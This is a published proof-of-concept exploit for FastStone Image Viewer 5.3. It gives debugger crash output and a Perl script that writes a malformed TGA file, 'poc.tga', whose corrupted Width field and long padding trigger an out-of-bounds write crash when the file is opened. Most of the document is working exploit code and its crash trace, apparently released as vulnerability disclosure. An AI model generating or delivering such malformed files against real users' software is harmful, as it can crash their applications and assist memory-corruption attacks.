# Exploit Title         : FastStoneImage Viewer (Corrupted tga) IMAGESPECIFICATION.Width Crash POC # Product               : FastStoneImage Viewer # Date                  : 25.02.2015 # Exploit Author        : ITDefensor Vulnerability Research Team http://itdefensor.ru/ # Software Link         : http://www.faststone.org/FSViewerDownload.htm # Vulnerable version    : 5.3 (Latest at the moment) and probably previous versions # Vendor Homepage       : http://www.faststone.org/ # Tested on             : FastStoneImage Viewer 5.3 installed on Windows 7 x64, Windows Server 2008 # CVE                   : unknown at the moment #============================================================================================ # Open created POC file (poc.tga) with FastStoneImage Viewer # Details #*** ERROR: Module load completed but symbols could not be loaded for image00000000`00400000 #image00000000_00400000+0x9357: #00409357 893a            mov     dword ptr [edx],edi  ds:002b:00e00880=???????? #0:000:x86> kb #ChildEBP RetAddr  Args to Child               #WARNING: Stack unwind information not available. Following frames may be wrong. #0018f688 004ff000 0018f6b4 00404619 0018f6ac image00000000_00400000+0x9357 #0018f6ac 00425374 0018f6c0 0042537e 0018f6d8 image00000000_00400000+0xff000 #0018f6d8 004255a2 0018f72c 0018f6f0 004256bb image00000000_00400000+0x25374 #0018f72c 004257ee 0018f784 00425822 0018f758 image00000000_00400000+0x255a2 #============================================================================================ #!/usr/bin/perl -w       $tga_id = "tga poc example" ;           $tga_header =       "\xf" .             #   IDLength                         "\x00" .            #   ColorMapType                         "\xa" ;             #   ImageType                               $tga_cms_spec =     "\x00\x00" .        #   FirstIndexEntry                         "\x00\x00" .        #   ColorMapLength                         "\x00" ;            #   ColorMapEntrySize           $tga_image_spec =   "\x00\x00" .        #   XOrigin                         "\x00\x00" .        #   YOrigin                         "\x00\xa0" .        #   Width       <--- ! Incorrect field, leads to application crash                         "\x80\x00" .        #   Height                         "\x10" .            #   PixelDepth                         "\x1" ;             #   ImageDescriptor                               $tga_file_header = $tga_header . $tga_cms_spec . $tga_image_spec . $tga_id ;                     $tga = $tga_file_header . "a" x 10000 ;           open FILE, ">poc.tga"    or die("Can't open poc.tga\n") ;     binmode(FILE) ;     print FILE $tga ;     close FILE ;